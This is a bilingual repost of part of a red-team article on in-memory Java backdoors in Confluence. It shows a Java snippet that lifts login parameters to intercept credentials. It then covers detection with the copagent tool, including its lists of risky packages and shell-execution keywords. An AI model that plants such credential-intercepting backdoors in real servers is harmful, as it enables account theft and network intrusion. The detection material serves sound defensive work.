X-Confluence-Request-Time: 1712744566388
Set-Cookie: JSESSIONID=960285A70EAA39C4F21CAE9530A873F3; Path=/; HttpOnly
X-Seraph-LoginReason: OK
X-AUSERNAME: admin

INTERCEPTING CREDENTIALS
截取凭证

For Confluence, the authentication form uses the /dologin.action endpoint. For example, when the form is submitted, the following request is performed:
对于Confluence,身份验证表单使用 /dologin.action 端点。例如,提交表单时,将执行以下请求:

POST /dologin.action HTTP/1.1
Host: confluence.local:8090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
[...]

os_username=admin&os_password=admin&login=Log+in&os_destination=%2Findex.action

Credentials can be intercepted from the backdoor by extracting the right parameters, as it was done for Bitbucket and Jenkins:
通过提取正确的参数,可以从后门拦截凭证,就像Bitbucket和Jenkins一样:

Map<String, Object> creds = new HashMap<>();
creds.put("user", request.getParameter("os_username"));
creds.put("password", request.getParameter("os_password"));

Detection

For blue teamers, identifying an in-memory webshell can be challenging since there are no traces left on the disk. This implies that the only method to detect such payloads is through behavioral analysis, which is inherently difficult. Monitoring sub-processes of these software instances is a good approach, as it can assist in capturing commands executed by the application, from ProcessBuilder or Runtime.getRuntime().exec(...).
对于blue teamers来说,识别内存中的webshell可能具有挑战性,因为磁盘上没有留下任何痕迹。这意味着检测这种有效载荷的唯一方法是通过行为分析,这本身就很困难。监视这些软件实例的子进程是一种很好的方法,因为它可以帮助捕获应用程序从 ProcessBuilder 或 Runtime.getRuntime().exec(...) 执行的命令。

If you suspect a potential compromise of a server hosting Java applications, it is feasible to extract sensitive classes using the copagent24 tool. Interestingly, the latter also harnesses the capabilities of a Java agent to extract all loaded classes:
如果您怀疑托管Java应用程序的服务器可能受到危害,则可以使用copagent 24工具提取敏感类。有趣的是,后者还利用Java代理的功能来提取所有加载的类:

$ java -jar cop.jar -p 7
[INFO] Java version: 17
[INFO] args length: 2
[INFO] Java version: 17
[INFO] args length: 4
[INFO] Try to attach process 7, please wait a moment ...

The tool has a built-in list of sensitive classes to extract:
该工具有一个内置的敏感类列表来提取:

List<String> riskSuperClassesName = new ArrayList<String>();
riskSuperClassesName.add("javax.servlet.http.HttpServlet");

List<String> riskPackage = new ArrayList<String>();
riskPackage.add("net.rebeyond.");
riskPackage.add("com.metasploit.");

List<String> riskAnnotations = new ArrayList<String>();
riskAnnotations.add("org.springframework.stereotype.Controller");
[...]

When a class matches, it is extracted locally and added to the .copagent/results.txt file. Here is an example of two classes loaded by our backdoor, and since they extend the javax.servlet.Filter class, they are extracted:
当一个类匹配时,它被本地提取并添加到 .copagent/results.txt 文件中。下面是我们的后门加载的两个类的例子,由于它们扩展了 javax.servlet.Filter 类,因此它们被提取出来:

[...]
order: 281
name: org.foo.bar.Class1
risk level: normal
location: /tmp/.copagent/java/org.foo.bar.a.a - 8f2ef92/org/foo/bar/Class1.java
hashcode: 6e6bb856
classloader: org.foo.bar.a.a
extends     : org.foo.bar.a.a@8f2ef92

order: 282
name: org.foo.bar.Class2
risk level: normal
location: /tmp/.copagent/java/org.foo.bar.a.a - 8f2ef92/org/foo/bar/Class2.java
hashcode: 66bd3ba5
classloader: org.foo.bar.a.a
extends     : org.foo.bar.a.a@8f2ef92
[...]

Note the risk level score is based on some method calls performed by the class:
请注意,风险级别分数基于类执行的一些方法调用:

List<String> riskKeyword = new ArrayList<String>();
riskKeyword.add("javax.crypto.");
riskKeyword.add("ProcessBuilder");
riskKeyword.add("getRuntime");
riskKeyword.add("shell");

The compiled classes are then accessible locally:
编译后的类可以在本地访问:

$ ll class/org.foo.bar.a.a-8f2ef92/org/foo/bar/
total 16
4 drwxr-x--- 2 confluence confluence 4096 Apr 10 14:26 .
4 drwxr-x--- 3 confluence confluence 4096 Apr 10 14:26 ..
4 -rw-r----- 1 confluence confluence 3285 Apr 10 14:42 Class1.class
4 -rw-r----- 1 confluence confluence 1377 Apr 10 14:42 Class2.class

Conclusion 结论

We recently employed these methods during red team engagements, and the credential interception aspect proved highly valuable, significantly helping our intrusion efforts. Ultimately, we were successful in obtaining credentials belonging to privileged users. Given that certain services may be associated with an Active Directory, acquiring them could potentially grant privileged access to the internal network.
我们最近在红队活动中使用了这些方法,凭证拦截方面证明非常有价值,大大帮助了我们的入侵工作。最终,我们成功地获得了属于特权用户的凭据。鉴于某些服务可能与Active Directory相关联,获取它们可能会授予对内部网络的特权访问。

For blue teams, identifying this type of backdoor presents a considerable challenge, although it can be achieved through certain tools, even if the process is manual and time-consuming. Such attacks have already been observed25 17 in real-world scenarios and attackers may have already used such backdoors. These types of software are frequently targeted by attackers due to the wealth of information they contain, which can be leveraged to continue an intrusion or exfiltrate sensitive data.
对于蓝队来说,识别这种类型的后门是一个相当大的挑战,尽管它可以通过某些工具来实现,即使这个过程是手动和耗时的。在现实世界中已经观察到25 17这种攻击,攻击者可能已经使用了这种后门。这些类型的软件经常成为攻击者的目标,因为它们包含丰富的信息,可以利用这些信息继续入侵或泄露敏感数据。

原文始发于Clément Amic,Hugo Vincent:INJECTING JAVA IN-MEMORY PAYLOADS FOR POST-EXPLOITATION

版权声明:admin 发表于 2024年7月28日 上午9:50。
转载请注明:INJECTING JAVA IN-MEMORY PAYLOADS FOR POST-EXPLOITATION | CTF导航

相关文章